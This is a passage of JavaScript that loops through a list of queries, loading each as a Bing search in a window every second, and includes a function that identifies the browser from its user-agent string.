win.window.location = 'https://www.bing.com/search?q=' + encodeURIComponent(SEARCHES[searchIndex])
searchIndex += 1
if (searchIndex >= SEARCHES.length) {
searchIndex = 0
}
}, 1000)
}, 3000)
}
function detectBrowser () {
const userAgent = navigator.userAgent
if (/samsungbrowser\//i.test(userAgent)) {
return 'samsung'
} else if (/edg\//i.test(userAgent)) {
return 'edge'
} else if (/edga\//i.test(userAgent)) {
return 'edge'
} else if (/opt\//i.test(userAgent)) {
// Opera iOS
return 'opera'
} else if (/opr\//i.test(userAgent)) {
// Opera Android
return 'opera'
} else if (/chrome\//i.test(userAgent)) {
return 'chrome'
} else if (/safari\//i.test(userAgent)) {
return 'safari'
} else if (/firefox\//i.test(userAgent)) {
return 'firefox'
}
}